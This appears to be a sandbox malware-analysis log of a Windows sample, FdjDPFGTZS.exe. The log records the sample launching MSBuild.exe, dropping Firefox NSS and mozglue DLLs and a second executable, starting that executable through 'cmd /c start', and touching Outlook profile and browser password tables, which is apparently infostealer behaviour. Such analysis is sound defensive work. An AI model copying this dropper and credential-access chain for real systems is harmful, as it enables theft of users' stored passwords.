Source: MSBuild.exe, 00000001.00000002.1830865273.000000006C71F000.00000002.00000001.01000000.00000008.sdmp, MSBuild.exe, 00000001.00000002.1818390648.000000001B54E000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.1829989107.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: MSBuild.exe, 00000001.00000002.1830865273.000000006C71F000.00000002.00000001.01000000.00000008.sdmp, MSBuild.exe, 00000001.00000002.1818390648.000000001B54E000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.1829989107.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: MSBuild.exe, 00000001.00000002.1830865273.000000006C71F000.00000002.00000001.01000000.00000008.sdmp, MSBuild.exe, 00000001.00000002.1818390648.000000001B54E000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.1829989107.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: MSBuild.exe, 00000001.00000002.1830865273.000000006C71F000.00000002.00000001.01000000.00000008.sdmp, MSBuild.exe, 00000001.00000002.1818390648.000000001B54E000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.1829989107.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: MSBuild.exe, MSBuild.exe, 00000001.00000002.1830865273.000000006C71F000.00000002.00000001.01000000.00000008.sdmp, MSBuild.exe, 00000001.00000002.1818390648.000000001B54E000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.1829989107.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: MSBuild.exe, 00000001.00000002.1830865273.000000006C71F000.00000002.00000001.01000000.00000008.sdmp, MSBuild.exe, 00000001.00000002.1818390648.000000001B54E000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.1829989107.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: MSBuild.exe, 00000001.00000002.1818390648.000000001B54E000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.1829989107.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: EHJKFCGHIDHCBGDHJKEB.1.dr, GHJEGCAEGIIIDHIEBKEB.1.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: MSBuild.exe, 00000001.00000002.1818390648.000000001B54E000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.1829989107.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: MSBuild.exe, 00000001.00000002.1818390648.000000001B54E000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.1829989107.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: unknown	Process created: C:\Users\user\Desktop\FdjDPFGTZS.exe "C:\Users\user\Desktop\FdjDPFGTZS.exe"
Source: C:\Users\user\Desktop\FdjDPFGTZS.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\Users\user\Desktop\FdjDPFGTZS.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 4828 -s 260
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userCAFIEBKKJJ.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\userCAFIEBKKJJ.exe "C:\Users\userCAFIEBKKJJ.exe"
Source: C:\Users\userCAFIEBKKJJ.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\Users\userCAFIEBKKJJ.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7432 -s 284
Source: C:\Users\user\Desktop\FdjDPFGTZS.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userCAFIEBKKJJ.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\userCAFIEBKKJJ.exe "C:\Users\userCAFIEBKKJJ.exe"	Jump to behavior
Source: C:\Users\userCAFIEBKKJJ.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior

Source: C:\Users\user\Desktop\FdjDPFGTZS.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\userCAFIEBKKJJ.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dpapi.dll	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: FdjDPFGTZS.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: FdjDPFGTZS.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: FdjDPFGTZS.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: FdjDPFGTZS.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: FdjDPFGTZS.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: FdjDPFGTZS.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: FdjDPFGTZS.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: FdjDPFGTZS.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: mozglue.pdbP source: MSBuild.exe, 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr
Source:	Binary string: freebl3.pdb source: freebl3.dll.1.dr, freebl3[1].dll.1.dr
Source:	Binary string: freebl3.pdbp source: freebl3.dll.1.dr, freebl3[1].dll.1.dr
Source:	Binary string: nss3.pdb@ source: MSBuild.exe, 00000001.00000002.1830865273.000000006C71F000.00000002.00000001.01000000.00000008.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.1.dr, softokn3.dll.1.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140[1].dll.1.dr, vcruntime140.dll.1.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140.dll.1.dr, msvcp140[1].dll.1.dr
Source:	Binary string: nss3.pdb source: MSBuild.exe, 00000001.00000002.1830865273.000000006C71F000.00000002.00000001.01000000.00000008.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr
Source:	Binary string: mozglue.pdb source: MSBuild.exe, 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.1.dr, softokn3.dll.1.dr

Source: FdjDPFGTZS.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: FdjDPFGTZS.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: FdjDPFGTZS.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: FdjDPFGTZS.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: FdjDPFGTZS.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_00419860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

1_2_00419860

Source: freebl3.dll.1.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.1.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.1.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.1.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.1.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.1.dr	Static PE information: section name: .didat
Source: nss3.dll.1.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.1.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.1.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.1.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\FdjDPFGTZS.exe	Code function: 0_2_00E271AD push ecx; ret	0_2_00E271C0
Source: C:\Users\user\Desktop\FdjDPFGTZS.exe	Code function: 0_2_00E67F0D push ecx; ret	0_2_00E67F20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0041B035 push ecx; ret	1_2_0041B048
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_6C51B536 push ecx; ret	1_2_6C51B549
Source: C:\Users\userCAFIEBKKJJ.exe	Code function: 11_2_00A671AD push ecx; ret	11_2_00A671C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 12_2_0044F23B push edx; ret	12_2_0044F24B

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\vcruntime140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\freebl3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\msvcp140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\nss3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\userCAFIEBKKJJ.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\mozglue[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\softokn3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\a43486128347[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

1_2_00419860

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
